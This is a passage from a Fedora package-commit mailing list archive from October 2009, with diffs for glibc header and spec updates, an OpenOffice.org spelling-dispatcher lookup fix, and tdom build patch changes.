+       return INLINE_SYSCALL (fcntl, 3, fd, cmd, arg);
+     }
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/ia64/bits/fcntl.h
+@@ -1,5 +1,5 @@
+ /* O_*, F_*, FD_* bit values for Linux/IA64.
+-   Copyright (C) 1999,2000,2004,2006,2007,2009 Free Software Foundation, Inc.
++   Copyright (C) 1999, 2000, 2004, 2006, 2007 Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
+    The GNU C Library is free software; you can redistribute it and/or
 @@ -81,15 +81,13 @@
  #define F_SETLKW64	7	/* Set record locking info (blocking).	*/
  
@@ -1922,8 +2104,32 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/dl-cache.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/dl-cache.h
+@@ -161,23 +159,6 @@ struct flock64
+   };
+ #endif
+ 
+-#ifdef __USE_GNU
+-/* Owner types.  */
+-enum __pid_type
+-  {
+-    F_OWNER_TID = 0,	/* Kernel thread.  */
+-    F_OWNER_PID,	/* Process.  */
+-    F_OWNER_GID		/* Process group.  */
+-  };
+-
+-/* Structure to use with F_GETOWN_EX and F_SETOWN_EX.  */
+-struct f_owner_ex
+-  {
+-    enum __pid_type type;	/* Owner type of ID.  */
+-    __pid_t pid;		/* ID of owner.  */
+-  };
+-#endif
+-
+ 
+ /* Define some more compatibility macros to be backward compatible with
+    BSD systems which did not managed to hide these kernel macros.  */
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/ia64/dl-cache.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/ia64/dl-cache.h
 @@ -22,4 +22,31 @@
  #define _dl_cache_check_flags(flags) \
    ((flags) == _DL_CACHE_DEFAULT_ID)
@@ -1956,29 +2162,40 @@
 +  } while (0)
 +
  #include_next <dl-cache.h>
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/ia64/dl-procinfo.c
 @@ -0,0 +1,5 @@
 +#ifdef IS_IN_ldconfig
 +#include <sysdeps/i386/dl-procinfo.c>
 +#else
 +#include <sysdeps/generic/dl-procinfo.c>
 +#endif
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/ia64/dl-procinfo.h
 @@ -0,0 +1,5 @@
 +#ifdef IS_IN_ldconfig
 +#include <sysdeps/unix/sysv/linux/i386/dl-procinfo.h>
 +#else
 +#include <sysdeps/generic/dl-procinfo.h>
 +#endif
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed
 @@ -1 +1 @@
 -s_^\(RTLDLIST=\)\([^ 	]*\)-ia64\(\.so\.[0-9.]*\)[ 	]*$_\1"\2-ia64\3 \2\3"_
 +s_^\(RTLDLIST=\)\([^ 	]*\)-ia64\(\.so\.[0-9.]*\)[ 	]*$_\1"\2-ia64\3 /emul/ia32-linux\2\3"_
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/netlinkaccess.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/netlinkaccess.h
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/kernel-features.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/kernel-features.h
+@@ -542,8 +542,3 @@
+ # define __ASSUME_PREADV	1
+ # define __ASSUME_PWRITEV	1
+ #endif
+-
+-/* Support for F_GETOWN_EX was introduced in 2.6.32.  */
+-#if __LINUX_KERNEL_VERSION >= 0x020620
+-# define __ASSUME_F_GETOWN_EX	1
+-#endif
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/netlinkaccess.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/netlinkaccess.h
 @@ -25,6 +25,24 @@
  
  #include <kernel-features.h>
@@ -2004,8 +2221,8 @@
  
  struct netlink_res
  {
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/paths.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/paths.h
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/paths.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/paths.h
 @@ -62,7 +62,7 @@
  #define	_PATH_TTY	"/dev/tty"
  #define	_PATH_UNIX	"/boot/vmlinux"
@@ -2015,8 +2232,15 @@
  #define _PATH_WTMP	"/var/log/wtmp"
  
  /* Provide trailing slash, since mostly used for building pathnames. */
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h
+@@ -1,5 +1,5 @@
+ /* O_*, F_*, FD_* bit values for Linux/PowerPC.
+-   Copyright (C) 1995, 1996, 1997, 1998, 2000, 2003, 2004, 2006, 2007, 2009
++   Copyright (C) 1995, 1996, 1997, 1998, 2000, 2003, 2004, 2006, 2007
+    Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
 @@ -85,15 +85,13 @@
  #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
  
@@ -2035,8 +2259,39 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
+@@ -168,23 +166,6 @@ struct flock64
+   };
+ #endif
+ 
+-#ifdef __USE_GNU
+-/* Owner types.  */
+-enum __pid_type
+-  {
+-    F_OWNER_TID = 0,	/* Kernel thread.  */
+-    F_OWNER_PID,	/* Process.  */
+-    F_OWNER_GID		/* Process group.  */
+-  };
+-
+-/* Structure to use with F_GETOWN_EX and F_SETOWN_EX.  */
+-struct f_owner_ex
+-  {
+-    enum __pid_type type;	/* Owner type of ID.  */
+-    __pid_t pid;		/* ID of owner.  */
+-  };
+-#endif
+-
+ /* Define some more compatibility macros to be backward compatible with
+    BSD systems which did not managed to hide these kernel macros.  */
+ #ifdef	__USE_BSD
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/s390/bits/fcntl.h
+@@ -1,5 +1,5 @@
+ /* O_*, F_*, FD_* bit values for Linux.
+-   Copyright (C) 2000,2001,2002,2004,2006,2007,2009 Free Software Foundation, Inc.
++   Copyright (C) 2000,2001,2002,2004,2006,2007 Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
+    The GNU C Library is free software; you can redistribute it and/or
 @@ -100,15 +100,13 @@
  #endif
  
@@ -2055,8 +2310,39 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
+@@ -183,23 +181,6 @@ struct flock64
+   };
+ #endif
+ 
+-#ifdef __USE_GNU
+-/* Owner types.  */
+-enum __pid_type
+-  {
+-    F_OWNER_TID = 0,	/* Kernel thread.  */
+-    F_OWNER_PID,	/* Process.  */
+-    F_OWNER_GID		/* Process group.  */
+-  };
+-
+-/* Structure to use with F_GETOWN_EX and F_SETOWN_EX.  */
+-struct f_owner_ex
+-  {
+-    enum __pid_type type;	/* Owner type of ID.  */
+-    __pid_t pid;		/* ID of owner.  */
+-  };
+-#endif
+-
+ /* Define some more compatibility macros to be backward compatible with
+    BSD systems which did not managed to hide these kernel macros.  */
+ #ifdef	__USE_BSD
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/sh/bits/fcntl.h
+@@ -1,5 +1,5 @@
+ /* O_*, F_*, FD_* bit values for Linux.
+-   Copyright (C) 1995, 1996, 1997, 1998, 2000, 2004, 2006, 2007, 2009
++   Copyright (C) 1995, 1996, 1997, 1998, 2000, 2004, 2006, 2007
+    Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
 @@ -85,15 +85,13 @@
  #define F_SETLKW64	14	/* Set record locking info (blocking).	*/
  
@@ -2075,8 +2361,39 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
+@@ -168,23 +166,6 @@ struct flock64
+   };
+ #endif
+ 
+-#ifdef __USE_GNU
+-/* Owner types.  */
+-enum __pid_type
+-  {
+-    F_OWNER_TID = 0,	/* Kernel thread.  */
+-    F_OWNER_PID,	/* Process.  */
+-    F_OWNER_GID		/* Process group.  */
+-  };
+-
+-/* Structure to use with F_GETOWN_EX and F_SETOWN_EX.  */
+-struct f_owner_ex
+-  {
+-    enum __pid_type type;	/* Owner type of ID.  */
+-    __pid_t pid;		/* ID of owner.  */
+-  };
+-#endif
+-
+ /* Define some more compatibility macros to be backward compatible with
+    BSD systems which did not managed to hide these kernel macros.  */
+ #ifdef	__USE_BSD
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/sparc/bits/fcntl.h
+@@ -1,5 +1,5 @@
+ /* O_*, F_*, FD_* bit values for Linux/SPARC.
+-   Copyright (C) 1995, 1996, 1997, 1998, 2000, 2003, 2004, 2006, 2007, 2009
++   Copyright (C) 1995, 1996, 1997, 1998, 2000, 2003, 2004, 2006, 2007
+    Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
 @@ -83,8 +83,8 @@
  #define F_GETFL		3	/* Get file status flags.  */
  #define F_SETFL		4	/* Set file status flags.  */
@@ -2097,8 +2414,32 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/tcsetattr.c
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/tcsetattr.c
+@@ -187,23 +185,6 @@ struct flock64
+   };
+ #endif
+ 
+-#ifdef __USE_GNU
+-/* Owner types.  */
+-enum __pid_type
+-  {
+-    F_OWNER_TID = 0,	/* Kernel thread.  */
+-    F_OWNER_PID,	/* Process.  */
+-    F_OWNER_GID		/* Process group.  */
+-  };
+-
+-/* Structure to use with F_GETOWN_EX and F_SETOWN_EX.  */
+-struct f_owner_ex
+-  {
+-    enum __pid_type type;	/* Owner type of ID.  */
+-    __pid_t pid;		/* ID of owner.  */
+-  };
+-#endif
+-
+ /* Define some more compatibility macros to be backward compatible with
+    BSD systems which did not managed to hide these kernel macros.  */
+ #ifdef	__USE_BSD
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/tcsetattr.c
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/tcsetattr.c
 @@ -49,6 +49,7 @@ tcsetattr (fd, optional_actions, termios_p)
  {
    struct __kernel_termios k_termios;
@@ -2144,8 +2485,15 @@
 +  return retval;
  }
  libc_hidden_def (tcsetattr)
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h
+@@ -1,5 +1,5 @@
+ /* O_*, F_*, FD_* bit values for Linux/x86-64.
+-   Copyright (C) 2001,2002,2004,2006,2007,2009 Free Software Foundation, Inc.
++   Copyright (C) 2001, 2002, 2004, 2006, 2007 Free Software Foundation, Inc.
+    This file is part of the GNU C Library.
+ 
+    The GNU C Library is free software; you can redistribute it and/or
 @@ -99,15 +99,13 @@
  #endif
  
@@ -2164,8 +2512,32 @@
  #endif
  
  #ifdef __USE_GNU
---- glibc-2.10-357-ga0902db/sysdeps/unix/sysv/linux/x86_64/clone.S
-+++ glibc-2.10.90-26/sysdeps/unix/sysv/linux/x86_64/clone.S
+@@ -182,23 +180,6 @@ struct flock64
+   };
+ #endif
+ 
+-#ifdef __USE_GNU
+-/* Owner types.  */
+-enum __pid_type
+-  {
+-    F_OWNER_TID = 0,	/* Kernel thread.  */
+-    F_OWNER_PID,	/* Process.  */
+-    F_OWNER_GID		/* Process group.  */
+-  };
+-
+-/* Structure to use with F_GETOWN_EX and F_SETOWN_EX.  */
+-struct f_owner_ex
+-  {
+-    enum __pid_type type;	/* Owner type of ID.  */
+-    __pid_t pid;		/* ID of owner.  */
+-  };
+-#endif
+-
+ /* Define some more compatibility macros to be backward compatible with
+    BSD systems which did not managed to hide these kernel macros.  */
+ #ifdef	__USE_BSD
+--- glibc-2.10-405-g3a83202/sysdeps/unix/sysv/linux/x86_64/clone.S
++++ glibc-2.10.90-27/sysdeps/unix/sysv/linux/x86_64/clone.S
 @@ -89,9 +89,6 @@ L(pseudo_end):
  	ret
  
@@ -2184,8 +2556,8 @@
  
  	cfi_startproc;
  PSEUDO_END (BP_SYM (__clone))
---- glibc-2.10-357-ga0902db/timezone/zic.c
-+++ glibc-2.10.90-26/timezone/zic.c
+--- glibc-2.10-405-g3a83202/timezone/zic.c
++++ glibc-2.10.90-27/timezone/zic.c
 @@ -1921,7 +1921,7 @@ const int			zonecount;
  		if (stdrp != NULL && stdrp->r_hiyear == 2037)
  			return;


Index: glibc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/glibc.spec,v
retrieving revision 1.420
retrieving revision 1.421
diff -u -p -r1.420 -r1.421
--- glibc.spec	19 Oct 2009 11:52:48 -0000	1.420
+++ glibc.spec	30 Oct 2009 15:22:48 -0000	1.421
@@ -1,4 +1,4 @@
-%define glibcsrcdir glibc-2.10-357-ga0902db
+%define glibcsrcdir glibc-2.10-405-g3a83202
 %define glibcversion 2.10.90
 ### glibc.spec.in follows:
 %define run_glibc_tests 1
@@ -18,13 +18,13 @@
 %endif
 %define rtkaioarches %{ix86} x86_64 ia64 ppc ppc64 s390 s390x
 %define debuginfocommonarches alpha alphaev6 sparc sparcv9 sparcv9v sparc64 sparc64v
-%define multiarcharches %{ix86} x86_64
+%define multiarcharches %{ix86} x86_64 ppc ppc64
 %define _unpackaged_files_terminate_build 0
 
 Summary: The GNU libc libraries
 Name: glibc
 Version: %{glibcversion}
-Release: 26
+Release: 27
 # GPLv2+ is used in a bunch of programs, LGPLv2+ is used for libraries.
 # Things that are linked directly into dynamically linked programs
 # and shared libraries (e.g. crt files, lib*_nonshared.a) have an additional
@@ -321,8 +321,6 @@ GXX="g++ -m64"
 %endif
 
 BuildFlags="$BuildFlags -fasynchronous-unwind-tables"
-# gcc is a memory hog without that (#523172).
-BuildFlags="$BuildFlags -fno-var-tracking-assignments"
 # Add -DNDEBUG unless using a prerelease
 case %{version} in
   *.*.9[0-9]*) ;;
@@ -1037,6 +1035,23 @@ rm -f *.filelist*
 %endif
 
 %changelog
+* Fri Oct 30 2009 Andreas Schwab <schwab at redhat.com> - 2.10.90-27
+- Update from master.
+  - Fix races in setXid implementation (BZ#3270).
+  - Implement IFUNC for PPC and enable multi-arch support.
+  - Implement mkstemps/mkstemps64 and mkostemps/mkostemps64 (BZ#10349).
+  - Fix IA-64 and S390 sigevent definitions (BZ#10446).
+  - Fix memory leak in NIS grp database handling (BZ#10713).
+  - Print timestamp in nscd debug messages (BZ#10742).
+  - Fix mixing IPv4 and IPv6 name server in resolv.conf.
+  - Fix range checks in coshl.
+  - Implement SSE4.2 optimized strchr and strrchr.
+  - Handle IFUNC symbols in dlsym (#529965).
+  - Misc fixes (BZ#10312, BZ#10315, BZ#10319, BZ#10391, BZ#10425,
+    BZ#10540, BZ#10553, BZ#10564, BZ#10609, BZ#10692, BZ#10780,
+    BZ#10717, BZ#10784, BZ#10789, BZ#10847
+- No longer build with -fno-var-tracking-assignments.
+
 * Mon Oct 19 2009 Andreas Schwab <schwab at redhat.com> - 2.10.90-26
 - Update from master.
   - Add ____longjmp_chk for sparc.


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/import.log,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- import.log	19 Oct 2009 11:52:48 -0000	1.36
+++ import.log	30 Oct 2009 15:22:48 -0000	1.37
@@ -34,3 +34,4 @@ glibc-2_10_90-23:HEAD:glibc-2.10.90-23.s
 glibc-2_10_90-24:HEAD:glibc-2.10.90-24.src.rpm:1254140947
 glibc-2_10_90-25:F-12:glibc-2.10.90-25.src.rpm:1255355210
 glibc-2_10_90-26:F-12:glibc-2.10.90-26.src.rpm:1255953059
+glibc-2_10_90-27:F-12:glibc-2.10.90-27.src.rpm:1256915929


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/sources,v
retrieving revision 1.318
retrieving revision 1.319
diff -u -p -r1.318 -r1.319
--- sources	19 Oct 2009 11:52:48 -0000	1.318
+++ sources	30 Oct 2009 15:22:48 -0000	1.319
@@ -1,2 +1,2 @@
-e703ae2fd4a7b6157f61fcd53327d171  glibc-2.10-357-ga0902db-fedora.tar.bz2
-8ddcba36d261fb0c5b8487e79ba07708  glibc-2.10-357-ga0902db.tar.bz2
+86f1d478fff63d6fb0953694fc1ed53d  glibc-2.10-405-g3a83202-fedora.tar.bz2
+204a3cdd20ead34cddacad6748af1d04  glibc-2.10-405-g3a83202.tar.bz2



From caolanm at fedoraproject.org  Fri Oct 30 15:23:14 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri, 30 Oct 2009 15:23:14 +0000 (UTC)
Subject: rpms/openoffice.org/F-12
	openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch,
	NONE, 1.1 openoffice.org.spec, 1.2025, 1.2026
Message-ID: <20091030152314.E2D1E11C00EA@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19517/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch 
Log Message:
Resolves: ooo#106497 language marked as providing spellchecking when unavailable

openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch:
 spelldsp.cxx |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch ---
--- linguistic/source/spelldsp.cxx.orig	2008-12-15 13:01:46.000000000 +0000
+++ linguistic/source/spelldsp.cxx	2009-10-30 15:18:38.000000000 +0000
@@ -294,7 +294,8 @@
 		return bRes;
 	
 	// search for entry with that language
-    LangSvcEntries_Spell *pEntry = aSvcMap[ nLanguage ].get();
+    SpellSvcByLangMap_t::iterator aIt(aSvcMap.find(nLanguage));
+    LangSvcEntries_Spell *pEntry = aIt != aSvcMap.end() ? aIt->second.get() : NULL;
 	
 	if (!pEntry)
 	{


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2025
retrieving revision 1.2026
diff -u -p -r1.2025 -r1.2026
--- openoffice.org.spec	28 Oct 2009 20:37:17 -0000	1.2025
+++ openoffice.org.spec	30 Oct 2009 15:23:14 -0000	1.2026
@@ -1,6 +1,6 @@
 %define oootag OOO310
 %define ooomilestone 19
-%define rh_rpm_release 14
+%define rh_rpm_release 15
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -167,6 +167,7 @@ Patch90: openoffice.org-3.2.0.ooo105988.
 Patch91: workspace.impress178.patch
 Patch92: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
 Patch93: workspace.chart41.patch
+Patch94: openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1720,6 +1721,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch91 -p0 -b .workspace.impress178.patch
 %patch92 -p0 -b .ooo106130.svx.removedeletedshapes.patch
 %patch93 -p1 -b .workspace.chart41.patch
+%patch94 -p0 -b .ooo106497.lingucomponent.langnotfound.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4253,6 +4255,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Fri Oct 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.15-UNBUILT
+- Resolves: ooo#106497 language marked as providing spellchecking when
+  unavailable (caolanm)
+
 * Wed Oct 28 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.14
 - Resolves: ooo#103757 custom shape cut and paste (caolanm)
 - Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)



From caolanm at fedoraproject.org  Fri Oct 30 15:23:15 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri, 30 Oct 2009 15:23:15 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch,
	NONE, 1.1 openoffice.org.spec, 1.2055, 1.2056
Message-ID: <20091030152315.B1B4C11C00EA@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19517/devel

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch 
Log Message:
Resolves: ooo#106497 language marked as providing spellchecking when unavailable

openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch:
 spelldsp.cxx |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch ---
diff -r 3ee4cb3a17dd linguistic/source/spelldsp.cxx
--- a/linguistic/source/spelldsp.cxx	Fri Oct 30 09:44:02 2009 +0000
+++ b/linguistic/source/spelldsp.cxx	Fri Oct 30 15:11:13 2009 +0000
@@ -330,7 +330,8 @@
 		return bRes;
 	
 	// search for entry with that language
-    LangSvcEntries_Spell *pEntry = aSvcMap[ nLanguage ].get();
+    SpellSvcByLangMap_t::iterator aIt(aSvcMap.find(nLanguage));
+    LangSvcEntries_Spell *pEntry = aIt != aSvcMap.end() ? aIt->second.get() : NULL;
 	
 	if (!pEntry)
 	{


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2055
retrieving revision 1.2056
diff -u -p -r1.2055 -r1.2056
--- openoffice.org.spec	30 Oct 2009 12:23:52 -0000	1.2055
+++ openoffice.org.spec	30 Oct 2009 15:23:15 -0000	1.2056
@@ -1,6 +1,6 @@
 %define oootag OOO320
 %define ooomilestone 3
-%define rh_rpm_release 1
+%define rh_rpm_release 2
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -121,6 +121,7 @@ Patch47: openoffice.org-3.2.0.ooo106032.
 Patch48: workspace.impress180.patch
 Patch49: workspace.gsminhibit.patch
 Patch50: workspace.vcl107.patch
+Patch51: openoffice.org-3.2.0.ooo106497.lingucomponent.langnotfound.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1631,6 +1632,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch48 -p0 -b .workspace.impress180.patch
 %patch49 -p1 -b .workspace.gsminhibit.patch
 %patch50 -p1 -b .workspace.vcl107.patch
+%patch51 -p1 -b .ooo106497.lingucomponent.langnotfound.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4131,6 +4133,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Fri Oct 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-3.2.UNBUILT
+- Resolves: ooo#106497 language marked as providing spellchecking when
+  unavailable (caolanm)
+
 * Fri Oct 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-3.1
 - Resolves: rhbz#531732 crash in about dialog with unfinished
   accelerator sequence



From orion at fedoraproject.org  Fri Oct 30 15:27:30 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 15:27:30 +0000 (UTC)
Subject: rpms/tdom/EL-4 tdom.spec,1.6,1.7
Message-ID: <20091030152730.34C7B11C00EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/tdom/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21936/EL-4

Modified Files:
	tdom.spec 
Log Message:
* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.2-3
- Actually update patch to add missing linkage against -lexpat



Index: tdom.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tdom/EL-4/tdom.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- tdom.spec	25 Jun 2008 22:02:40 -0000	1.6
+++ tdom.spec	30 Oct 2009 15:27:29 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           tdom
 Version:        0.8.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        DOM parser for Tcl
 
 Group:          Development/Libraries
@@ -63,6 +63,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.2-3
+- Actually update patch to add missing linkage against -lexpat
+
 * Sun Sep 23 2007 Wart <wart at kobold.org> - 0.8.2-2
 - Added missing linkage against -lexpat
 



From orion at fedoraproject.org  Fri Oct 30 15:27:30 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 15:27:30 +0000 (UTC)
Subject: rpms/tdom/EL-5 tdom-0.8.2-noexpat.patch,1.1,1.2 tdom.spec,1.3,1.4
Message-ID: <20091030152730.D916B11C00EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/tdom/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21936/EL-5

Modified Files:
	tdom-0.8.2-noexpat.patch tdom.spec 
Log Message:
* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 0.8.2-3
- Actually update patch to add missing linkage against -lexpat


tdom-0.8.2-noexpat.patch:
 Makefile.in  |    4 ++--
 configure    |    5 +----
 configure.in |    5 +----
 3 files changed, 4 insertions(+), 10 deletions(-)

Index: tdom-0.8.2-noexpat.patch
===================================================================
RCS file: /cvs/pkgs/rpms/tdom/EL-5/tdom-0.8.2-noexpat.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- tdom-0.8.2-noexpat.patch	27 Aug 2007 03:45:56 -0000	1.1
+++ tdom-0.8.2-noexpat.patch	30 Oct 2009 15:27:28 -0000	1.2
@@ -1,5 +1,5 @@
---- tDOM-0.8.2/configure.orig	2007-08-26 15:56:58.000000000 -0700
-+++ tDOM-0.8.2/configure	2007-08-26 15:57:52.000000000 -0700
+--- tDOM-0.8.2/configure.orig	2007-08-05 11:47:49.000000000 -0700
++++ tDOM-0.8.2/configure	2007-09-23 21:53:00.000000000 -0700
 @@ -6298,10 +6298,7 @@
  #-----------------------------------------------------------------------
  
@@ -12,8 +12,8 @@
                   generic/utf8conv.c  \
                   generic/dom.c       \
                   generic/domalloc.c  \
---- tDOM-0.8.2/configure.in.orig	2007-08-26 15:56:27.000000000 -0700
-+++ tDOM-0.8.2/configure.in	2007-08-26 15:56:51.000000000 -0700
+--- tDOM-0.8.2/configure.in.orig	2007-08-05 11:47:49.000000000 -0700
++++ tDOM-0.8.2/configure.in	2007-09-23 21:53:00.000000000 -0700
 @@ -83,10 +83,7 @@
  # and PKG_TCL_SOURCES.
  #-----------------------------------------------------------------------
@@ -26,8 +26,17 @@
                   generic/utf8conv.c  \
                   generic/dom.c       \
                   generic/domalloc.c  \
---- tDOM-0.8.2/Makefile.in.orig	2007-08-26 15:57:05.000000000 -0700
-+++ tDOM-0.8.2/Makefile.in	2007-08-26 15:57:28.000000000 -0700
+--- tDOM-0.8.2/Makefile.in.orig	2007-03-02 15:43:53.000000000 -0800
++++ tDOM-0.8.2/Makefile.in	2007-09-23 21:56:49.000000000 -0700
